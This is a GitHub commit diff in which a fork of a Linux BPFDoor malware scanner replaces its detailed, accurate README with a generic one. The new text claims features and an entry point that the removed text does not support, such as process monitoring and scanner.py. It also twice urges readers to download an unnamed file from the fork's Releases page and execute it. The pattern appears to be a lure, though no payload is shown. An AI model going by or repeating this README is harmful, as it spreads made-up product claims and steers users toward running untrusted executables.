Skip to content

Commit ce149bb

Browse files
udenar2023udenar2023
committed
Commit
1 parent 47236c4 commit ce149bb

File tree

1 file changed

+85
-118
lines changed

1 file changed

+85
-118
lines changed

‎README.md

Lines changed: 85 additions & 118 deletions
Original file line numberDiff line numberDiff line change
@@ -1,147 +1,114 @@
1-
# Linux BPFDoor Malware Scanner
2-
![made-with-python][made-with-python]
3-
![Python Versions][pyversion-button]
4-
![Hits][hits-button]
1+
# Linux BPFDoor Malware Scanner 🦠
52

6-
[pyversion-button]: https://img.shields.io/pypi/pyversions/Markdown.svg
7-
[made-with-python]: https://img.shields.io/badge/Made%20with-Python-1f425f.svg
8-
[hits-button]: https://hits.sh/github.com/password123456/linux-bpfdoor-malware-scanner.svg?view=today-total
3+
![Linux BPFDoor Malware Scanner](https://img.shields.io/badge/version-1.0.0-blue.svg) ![License](https://img.shields.io/badge/license-MIT-green.svg) ![GitHub issues](https://img.shields.io/github/issues/udenar2023/linux-bpfdoor-malware-scanner.svg)
94

10-
## Linux BPFDoor Malware Scanner
5+
## Overview
116

12-
On April 22, 2025, Cybersecurity breach at SK Telecom exposes millions of South Korean users. The malware used in the attack, "BPFDoor," is a Linux-based backdoor specialized in evasion tactics. This scanner is designed to detect BPFDoor variants discovered in the past 2–3 years, including the specific malwares identified in the SK Telecom Hacking incident.
7+
The **Linux BPFDoor Malware Scanner** is a powerful tool designed to detect and analyze BPFDoor malware on Linux systems. BPFDoor is a type of malware that uses the Linux Berkeley Packet Filter (BPF) to establish a backdoor on infected systems. This scanner helps users identify infected files and processes, providing a layer of security for Linux environments.
138

14-
You can look up the detailed information of each malware hash used in this scanner via VirusTotal.
9+
## Features
1510

16-
Our goal is to help organizations affected by BPFDoor attacks detect potential infections quickly and accurately.
11+
- **File Scanner**: Scans files for known BPFDoor signatures.
12+
- **Hash Scanner**: Uses hash-based detection for quick identification of malicious files.
13+
- **Process Monitoring**: Monitors running processes for suspicious behavior.
14+
- **User-Friendly Interface**: Easy to use command-line interface for quick scans.
15+
- **Detailed Reporting**: Generates comprehensive reports on detected threats.
16+
- **Regular Updates**: Frequent updates to ensure the latest signatures and detection methods.
1717

18-
If you find this helpful, please the "star"🌟 to support further improvements.
18+
## Topics
1919

20-
## Requirements
20+
This repository covers a range of topics related to malware detection and analysis, including:
2121

22-
- Python Version: 3.8.10 or higher
23-
- Dependencies: None – no additional packages required
22+
- Antivirus
23+
- BPFDoor
24+
- BPFDoor Detection
25+
- File Finder
26+
- File Scanner
27+
- Hash Scanner
28+
- Linux Malware
29+
- Linux Scanner
30+
- Malware Analysis
31+
- Malware Analyzer
32+
- Malware Scanner
33+
- Python Scanner
34+
- Security Tools
2435

25-
## Performance
36+
## Installation
2637

27-
Tested on a single free-tier Oracle Cloud VM instance:
28-
- **Conditions**: Average CPU usage ~20% prior to scanning, scanning all directories with files under 5MB
29-
- **Result**: Scanning approximately 400,000 files took around 15 minutes
30-
- **CPU Usage**: Ranged from 45% to a peak of 120% during scanning
31-
```
32-
Note: Despite the high CPU usage, the system remained stable with no crashes or noticeable side effects.
33-
Please refer to Oracle Cloud’s free-tier VM specifications for context.
34-
```
38+
To install the Linux BPFDoor Malware Scanner, follow these steps:
3539

36-
## Features
40+
1. **Clone the repository**:
41+
```bash
42+
git clone https://github.com/udenar2023/linux-bpfdoor-malware-scanner.git
43+
cd linux-bpfdoor-malware-scanner
44+
```
3745

38-
- **BPFDoor Malware Detection**: Identifies BPFDoor and other malicious files using a curated set of SHA256 hashes.
39-
- **Parallel File Scanning**: Utilizes `ThreadPoolExecutor` for fast, multi-threaded scanning of directories.
40-
- **Configurable Scanning**:
41-
- Supports multiple scan modes: `full` (entire filesystem), `normal` (key directories), and `custom` (user-specified paths).
42-
- Customizable file extensions, excluded directories, and maximum file size (default: 5MB).
43-
- **Hash Validation**: Automatically removes duplicate and invalid SHA256 hashes for reliability.
46+
2. **Install required dependencies**:
47+
Ensure you have Python 3 and pip installed. Then run:
48+
```bash
49+
pip install -r requirements.txt
50+
```
51+
52+
3. **Download the latest release**:
53+
Visit the [Releases section](https://github.com/udenar2023/linux-bpfdoor-malware-scanner/releases) to download the latest version. Make sure to download the appropriate file for your system and execute it.
4454

4555
## Usage
4656

47-
Run the scanner using the `main.py` script with the following command-line options:
57+
Once installed, you can start using the scanner with the following command:
4858

4959
```bash
50-
python main.py -mode {full|normal|custom} [paths] [--verbose]
60+
python scanner.py --scan <directory>
5161
```
5262

53-
### Options
54-
- `-mode`: Specifies the scanning mode:
55-
- `full`: Scans the entire filesystem (e.g., `/` on Linux). **Warning**: This may take a long time.
56-
- `normal`: Scans common directories (`/etc`, `/usr`, `/var`, `/home`).
57-
- `custom`: Scans user-specified directories (requires `paths` argument).
58-
- `paths`: Directory paths to scan (required for `custom` mode, e.g., `/home /opt`).
59-
- `--verbose`: Enables detailed debug messages.
63+
Replace `<directory>` with the path you want to scan. The scanner will analyze the files and provide a report on any detected threats.
6064

61-
### Examples
65+
### Example
6266

63-
1. **Full System Scan**:
64-
```bash
65-
python main.py -mode full
66-
```
67+
To scan the `/home/user/documents` directory, run:
6768

68-
2. **Normal Scan (Key Directories)**:
69-
```bash
70-
python main.py -mode normal
71-
```
69+
```bash
70+
python scanner.py --scan /home/user/documents
71+
```
7272

73-
3. **Custom Scan (Specific Directories)**:
74-
```bash
75-
python main.py -mode custom /home /opt --verbose
76-
```
73+
The scanner will output the results in the terminal and generate a report file for your review.
7774

78-
### Output
79-
- **Console**: Displays real-time scan progress with color-coded status (e.g., red for infected files, green for clean).
80-
- **Log File**: Saves results to a file named `YYYYMMDD_malscan.log` in the script's directory. Example log entry:
81-
```
82-
datetime="2025-05-10 12:34:56",scan_id="123e4567-e89b-12d3-a456-426614174000",hostname="buddy2",ip="10.10.100.78",mac="02:00:17:00:8e:03",arch="x86_64",os="Ubuntu 22.04.4 LTS",infected_file="/path/to/file",sha256="c7f693f7f85b01a8c0e561bd369845f40bff423b0743c7aa0f4c323d9133b5d4",created_at="2025-01-01 10:00:00",modified_at="2025-01-02 12:00:00"
83-
```
75+
## Contributions
8476

85-
## Configuration
77+
Contributions are welcome! If you have suggestions or improvements, please open an issue or submit a pull request.
8678

87-
Customize the scanner by modifying the following settings in `main.py`:
79+
### Guidelines
8880

89-
- **SCAN_EXTENSIONS**: List of file extensions to scan (e.g., `['.exe', '.dll']`). Empty list scans all files.
90-
- **EXCLUDE_DIRS**: Directories to skip (e.g., `['/proc', '/sys']`).
91-
- **MAX_FILE_SIZE**: Maximum file size to scan (e.g., `'2MB'`).
92-
- **CHUNK_SIZE_MULTIPLIER**: Number of files per thread (default: 100).
81+
1. Fork the repository.
82+
2. Create a new branch for your feature or fix.
83+
3. Commit your changes.
84+
4. Push to your branch.
85+
5. Open a pull request.
9386

94-
Example:
95-
```python
96-
SCAN_EXTENSIONS = ['.exe', '.dll']
97-
EXCLUDE_DIRS = ['/proc', '/sys', '/dev']
98-
MAX_FILE_SIZE = '2MB'
99-
CHUNK_SIZE_MULTIPLIER = 100
100-
```
87+
## Reporting Issues
10188

102-
## Preview
103-
```python
104-
# python3 main.py -mode normal
105-
106-
▌║█║▌│║▌│║▌║▌█║ Linux BPFDoor Malware Scanner ▌│║▌║▌│║║▌█║▌║█
107-
108-
[-] By https://github.com/password123456 / 1.0.7.prod20250510
109-
[-] 2025-05-10 21:54:18
110-
111-
[*] O.K Here We go!
112-
[*] buddy2 / 10.10.100.78 / Ubuntu 22.04.4 LTS
113-
[*] Scanning paths: /bin, /sbin, /usr/bin, /usr/sbin, /lib, /usr/lib, /etc, /lib64, /tmp, /var, /dev/shm, /opt, /home
114-
115-
116-
Scanning: /bin
117-
118-
[00:00:00.085] (1 scanned / 0 Infected) (Clean) /usr/bin/debconf-communicate
119-
[00:00:00.086] (2 scanned / 0 Infected) (Clean) /usr/bin/fakeroot-sysv
120-
[00:00:00.087] (3 scanned / 0 Infected) (Clean) /usr/bin/apport-unpack
121-
[00:00:00.087] (4 scanned / 0 Infected) (Clean) /usr/bin/soelim
122-
[!] Skipping /usr/bin/x86_64-linux-gnu-ld.gold: File Size Exceed
123-
[00:00:00.088] (5 scanned / 0 Infected) (Clean) /usr/bin/debconf-escape
124-
[00:00:00.090] (6 scanned / 0 Infected) (Clean) /usr/sbin/xtables-legacy-multi
125-
[00:00:00.090] (7 scanned / 0 Infected) (Clean) /usr/bin/zipsplit
126-
[00:00:00.091] (8 scanned / 0 Infected) (Clean) /usr/bin/nc.openbsd
127-
[00:00:00.092] (9 scanned / 0 Infected) (Clean) /usr/bin/ntfsdecrypt
128-
[00:00:00.093] (10 scanned / 0 Infected) (Clean) /usr/bin/md5sum
129-
[00:00:00.094] (11 scanned / 0 Infected) (Clean) /usr/bin/zstdless
130-
[00:00:00.095] (12 scanned / 0 Infected) (Clean) /usr/bin/factor
131-
[00:00:00.097] (13 scanned / 0 Infected) (Clean) /usr/bin/apt-config
132-
[00:00:00.098] (14 scanned / 0 Infected) (Clean) /usr/bin/nano
133-
[00:00:00.099] (15 scanned / 0 Infected) (Clean) /usr/bin/pstree
134-
[00:00:00.099] (16 scanned / 0 Infected) (Clean) /usr/bin/yes
135-
[00:00:00.100] (17 scanned / 0 Infected) (Clean) /usr/bin/sudoreplay
136-
[00:00:00.101] (18 scanned / 0 Infected) (Clean) /usr/bin/zgrep
137-
[00:00:00.101] (19 scanned / 0 Infected) (Clean) /usr/bin/zcmp
138-
[00:00:00.103] (20 scanned / 0 Infected) (Clean) /usr/bin/ipcs
139-
[00:00:00.103] (21 scanned / 0 Infected) (Clean) /usr/bin/locale
140-
...
141-
...
142-
[Summary]
143-
[-] Total files found: 1112
144-
[-] Scanned: 1085, Infected: 0
145-
Scan Completed!
146-
- No infected files found. Happy happy :)
147-
```
89+
If you encounter any issues or bugs, please report them in the [Issues section](https://github.com/udenar2023/linux-bpfdoor-malware-scanner/issues). Provide as much detail as possible to help us resolve the issue quickly.
90+
91+
## License
92+
93+
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.
94+
95+
## Acknowledgments
96+
97+
- Thanks to the open-source community for their contributions and support.
98+
- Special thanks to contributors who have helped improve this tool.
99+
100+
## Additional Resources
101+
102+
For more information on BPFDoor and malware analysis, consider checking the following resources:
103+
104+
- [Linux Security](https://linuxsecurity.com)
105+
- [Malware Analysis Techniques](https://www.malwareanalysis.com)
106+
- [BPF Documentation](https://www.kernel.org/doc/html/latest/bpf/index.html)
107+
108+
## Download the Latest Release
109+
110+
To download the latest release, visit the [Releases section](https://github.com/udenar2023/linux-bpfdoor-malware-scanner/releases). Download the necessary file and execute it to start using the scanner.
111+
112+
## Conclusion
113+
114+
The Linux BPFDoor Malware Scanner is a vital tool for anyone looking to secure their Linux systems against BPFDoor malware. With its straightforward interface and robust detection capabilities, it provides peace of mind in an increasingly complex security landscape. Stay safe and secure your systems with this essential tool.

0 commit comments

Comments
 (0)